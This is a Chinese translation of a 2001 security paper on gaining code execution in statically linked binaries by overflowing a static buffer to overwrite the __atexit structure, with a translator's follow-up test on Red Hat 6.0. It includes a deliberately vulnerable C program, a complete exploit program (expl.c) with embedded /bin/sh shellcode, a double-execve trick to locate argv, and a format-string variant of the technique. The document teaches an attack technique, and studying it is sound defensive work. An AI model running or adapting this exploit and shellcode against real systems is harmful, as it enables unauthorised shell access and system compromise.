翻译：alert7（alert） 来源： 通过覆盖__atexit进行缓冲区溢出攻击 –静态编译版本的heap溢出 原作者: Pascal Bouchareine <pb@hert.org> 原文： <<__atexit in memory bugs – specific proof of concept with statically linked binaries and heap overflows>> 翻译整理：alert7 <alert7@21cn.com> 主页： 时间： 2001-7-19 译者注：这片文章可能很早就出来了，我看国内也没有人介绍，干脆就 翻译出来一块儿共享吧，如有什么错误的地方，欢迎指正。 mailto:alert7@21cn.com 介绍： 本文讨论了类似通过覆盖.dtors进行缓冲区溢出攻击的技术。归根结底 是想方设法改变程序的执行流程，使之最终执行我们想要执行的代码。本文 假设读者熟悉普通的缓冲区溢出技术。 鸣谢： 感谢Andrew R. Reiter看了这片文档，纠正一些错误。 内容： I. atexit()的基本知识 II. atexit()的执行 III. Exploitation的概念 IV. Eggshell的定位 V. 一个exploit的例子 I. atexit()基本知识 先让我们看看手册： NAME atexit – 注册一个在exit时候被调用的函数 SYNOPSIS #include <stdlib.h> int atexit(void (*function)(void)) DESCRIPTION atexit()函数注册一个给定的函数，该函数在程序exit时候被调用 （不管是通过exit(3)或者还是通过从程序的main函数中返回）。 注册的函数是反序被调用的；没有参数。至少32个函数总是可以被注册 的，只要有充分的分配的内存，更多的函数也是允许的。 看看下面程序的基本指令： char *glob; void test(void) { printf("%s", glob); } void main(void) { atexit(test); glob = "Exiting.\n"; } 当执行时，应该在标准输出上显示"Exiting" . II. atexit()的执行 atexit是做为libc函数导出的。 执行过程使用了一个静态的atexit结构，该结构包含了那些在退出时候被 调用的函数的一个数组，在调用atexit函数的时候会插入一个结构（我们 将称它为"fns"），在fns中有一个变量保存着下一个空的索引（我们称 它为"ind")，当fns满的时候，一个指针（我们称为next）指向了下一个 被使用的atexit结构. struct atexit { struct atexit *next;/* next in list */ int ind;/* next index in this table */ void (*fns[ATEXIT_SIZE])();/* the table itself */ }; 当atexit()被调用时，它填充fns[ind]，增加ind，这时ind就是下一个在fns中空的索引。 当fns满的时候，一个新的atexit的结构被分配，并且它的next变量指向了最后 被使用的那个。 注意：一般atexit的使用的是不需要next的，它在初始化的时候被设置为 NULL。 当exit()被调用，它分析最后定义的atexit结构，并且执行在fns[ind]中的 函数，减少ind，依次执行。 当exit()被调用的时候，需要查看一些退出函数，然而，atexit()需要写它， atexit结构被分配是做为一个全局符号的，(在*bds上是__atexit, 在linux上 是__exit_funcs), 并且导出给其他函数的。 译者注：如果你第一次读这片文章，你可能会忽视了atexit()和__atexit (在*bds上是__atexit, 在linux上是__exit_funcs)的关系。 __atexit就是被atexit函数使用的一个内部变量，下面有个图指 示了atexit()如何利用__atexit的。 III. Exploitation的概念 这部分不是很准确。需要依靠执行时候的内存映象，依靠你的OS，，还受许多 其他的因数的影响。 我们首先要知道__atexit在内存中的分配地址，判断那里是可以重写的地址。所以我 写了个简单的例子。 extern void * __atexit; int main(void) { static char scbuf[128]; char *mabuf; mabuf = (char *) malloc(128); printf("__atexit at %p\n", __atexit); printf("malloced at %p\n", mabuf); printf("static at %p\n", scbuf); return 0; } 编译一下，有以下的结果： pb@nod [405]$ gcc -o at at.c pb@nod [406]$ ./at __atexit at 0x280e46a0 malloced at 0x804b000 static at 0x8049660 pb@nod [407]$ gcc -o at -static at.c pb@nod [408]$ ./at __atexit at 0x8052ea0 malloced at 0x8055000 static at 0x8052e20 以上已经足够说明问题了.可许你已经知道，动态编译的版本是通过一个 mmap()调用来装载libc库函数的。 (0x280e46a0)现在看起来是我们不能修改 的, 但是静态版本是可以的。 在静态编译的二进制中，libc被保存在程序的heap区，因此，__atexit的位置 在我们的静态scbuf附近。在这个例子中，__atexit和scbuf相差0x80个字节。 它意味着他们是位置连续的。如果你了解heap溢出，构造它应该不是件很难的 事情。 在静态的字符缓冲区后面构造自己的atexit结构，覆盖__atexit变量，可以使 exit()执行在内存中的任何地方。比如执行我们的eggshell。为了构造它，我 们需要明白atexit()是如何利用__atexit变量的，看下面类似gdb的输出： 0127 128132136140 (an eggshell with nops) (next)(ind) (fns[0]) (fns[1]) 0x90909090 …..0x00000000 0x00000001 0xbffff870 0x00000000 for (p = __atexit; p; p = p->next) for (n = p->ind; –n >= 0;) (*p->fns[n])(); 第一种方法你可以使’ind’为正值，比如上面图使ind为1，fns[0]为 eggshell的地址，但是这样构造出来的atexit结构中包含了’\0’。我 们没有办法使用。 第二种方法是使p->next指向一块我们精心构造的atexit结构的内存。 我们仅仅需要使ind为负的，可以不管fns的数组。 但是，我们到底如何找到那块空间呢？ IV. Eggshell的定位 我要为这件事干一两杯啤酒。 读了execue的手册和内核execve的执行过程,使我想起了我写的第一个 c语言程序。我们知道，argc是参数的个数，argv是以null结尾的数组 （包含了以null结尾的字符串），envp是环境变量。一个正在执行的程序 要得到这些信息是容易的。 因此，在stack的顶部，一个 "vector table" 包含了这些信息当然还包括一些 其他的（例如信号掩码）。让我们看看在stack上的argv的存放： 0xbfbffb60:0x000000000x000000050xbfbffc5c0xbfbffc84 0xbfbffb70:0xbfbffc8a0xbfbffc8f0xbfbffc920x00000000 在该例子中，argc是5。有5个指针指向5个argv元素。最后一个是以NULL结尾的。 上面看到的，使你想起那个atexit结构了吗？:) 该图完美的描绘了atexit的结构！ind=5，argv[4]是被调用函数的地址。所有 的工作准备就绪，但是还差点。我们只要猜测在stack上的 vector table的 正确地址就可以了，在__atexit->next填上该地址，在__atexit->ind填上负的， 这样一切都OK了。 猜测argv[]的地址需要依靠你的OS。我看了一下/sys/kern/kern_exec.c， 读了一下这个函数： /* * Copy strings out to the new process address space, constructing *new arg and env vector tables. Return a pointer to the base *so that it can be used as the initial stack pointer. */ register_t * exec_copyout_strings(imgp) 这个函数解释了如何计算argv的vector table地址，你的计算基于地址PS_STRING （stack的基地址，less结构的ps_string大小），信号掩码的大小，"SPARE_USERSPACE" 这个变量在我的freebsd上被定义256(可能这个变量被setproctitle()函数使用)，和一些 其他复杂的东西。 为了使用可移植的计算方法，我使用了下面自我调用的方法来执行argv[]。 首先，如果你要利用有问题的程序的话，你需要把条件都准备好。但是不能以 特殊的参数调用自己。在第二次调用时，argv应该正确的被定位，然后再调 用有问题的程序。 有了这两个技术，我想你应该有了一个高效率的缓冲区溢出的方法，而不再需要 计算offset了。 译者注：这种两次execve技术很不错，两次execve出来的进程的argv的地址是 一样的。所以就不需要猜测argv的地址了 注意：对于format bug来说，这个技术听起来很强大。__atexit在exploit中 经常位于victim的相同地址。我猜想这是因为mmap()分配地址是从固定的地址开始的。 正如一个传统的format bug，你有如下一个字符串"AAAA%N$x%0Xx%n",这里AAAA是 在你exploit中的__atexit的地址，N 是你想从重写地址到stack的字节个数。X是argv[] 的猜测地址。 [post note:事实上这些已经是众所周知的了，在phrack的杂志中有提到] 同理，对缓冲区溢出的exploit来说，你有一个容易得到的固定的返回地址：调用自己 –egg应该在安放在环境变量里-，然后调用victim egg的地址。 V. 一个Exploit的例子 Take the following vulnerable program : extern void * __atexit; int main(int argc, char **argv) { static char scbuf[128]; char *mabuf; mabuf = (char *) malloc(128); printf("__atexit at %p\n", __atexit); printf("malloced at %p\n", mabuf); printf("static at %p\n", scbuf); if (argc > 1) strcpy(scbuf, argv[1]); } scbuf[]的大小为128.我们需要craft下面的字符串： offset 0128 132 136 [XXXXXXXXXXXX……….][AAAA][BBBB][0…] 128个字节的X垃圾，AAAA是猜测的argv地址，BBBB是一个负的数字 (0xffffffff就可以了),然后最后的字节都被填为0。 我们必须把eggshell作为最后一个参数传递给有问题的程序。 假如程序有严格的检查，我们讨论的东西工作起来就会很困难。我们在这里先不 讨论这个，以后有兴趣将做进一步的研究。 利用有问题程序，下面的exploit将产生一个shell： — expl.c —————–8< (lazy indenting this. 🙂 ————- #include <stdio.h> #define PROG"./vul" #define HEAP_LEN 128 int main(int argc, char **argv) { char **env; char **arg; char heap_buf[150]; char eggshell[]= /* Mudge’s */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a\xe8\xc6\xff\xff\xff/bin/sh"; /* Craft the first part of the chain, pointing to argv[]. ** We need, of course, a negative value for ind, or the real ** atexit default will be called. */ memset(heap_buf, ‘A’, HEAP_LEN); *((int *) (heap_buf + HEAP_LEN))= (int) argv – (2 * sizeof(int)); /*为了构造atexit结构*/ *((int *) (heap_buf + HEAP_LEN + 4)) = (int) 0xffffffff; *((int *) (heap_buf + HEAP_LEN + 8)) = (int) 0; /* ** Build environnement. Argv[argc-1] is set to whatever ** eggshell you want. This, in a struct atexit context, ** will be executed by exit. */ env = (char **) malloc(sizeof(char *)); env[0] = 0; arg = (char **) malloc(sizeof(char *) * 4); arg[0] = (char *) malloc(strlen(PROG) + 1); arg[1] = (char *) malloc(strlen(heap_buf) + 1); arg[2] = (char *) malloc(strlen(eggshell) + 1); arg[3] = 0; strcpy(arg[0], PROG); strcpy(arg[1], heap_buf); strcpy(arg[2], eggshell); if (argc > 1) { fprintf(stderr, "Using argv %x\n", argv); execve("./vul", arg, env); } else { execve(argv[0], arg, env); } } ——– expl.c (eof)—————————————— 作者文章到此就结束了，以上作者是在freebsd测试的。 下面是我在red hat 6.0上面做的测试： [alert7@ww alert7]$ uname -a Linux ww.alert7 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686 unknown [alert7@ww alert7]$ cat vul.c #include <stdlib.h> extern void * __exit_funcs; int main(int argc, char **argv) { static char scbuf[128]; char *mabuf; mabuf = (char *) malloc(128); printf("__exit_funcs at %p\n", __exit_funcs); printf("malloced at %p\n", mabuf); printf("static at %p\n", scbuf); printf("mabuf at %p\n", &mabuf); if (argc > 1) strcpy(scbuf, argv[1]); } [alert7@ww alert7]$ gcc -o vul vul.c -static -g [alert7@ww alert7]$ ./vul __exit_funcs at 0x80778c0 mallocedat 0x8079b60 staticat 0x8078e40 mabufat 0xbffffdc0 [alert7@ww 3779]$ cat maps 08048000-08077000 r-xp 00000000 03:01 14361/home/alert7/vul 08077000-08079000 rw-p 0002e000 03:01 14361/home/alert7/vul 08079000-0807a000 rwxp 00000000 00:00 0 40000000-40002000 rw-p 00000000 00:00 0 bffff000-c0000000 rwxp 00000000 00:00 0 在linux上，我们看到__exit_funcs地址是0x80778c0,可写。静态定义的scbuf的 地址为0x8078e40，__exit_funcs在scbuf之前，所以想利用scbuf来覆盖 __exit_funcs地址好象是不可能的吧。所以在linux上讨论利用__atexit进行 缓冲区溢出的攻击也是失去了意义。 以一种进取的和明智的方式同它们奋斗。
通过覆盖__atexit进行缓冲区溢出攻击(1)
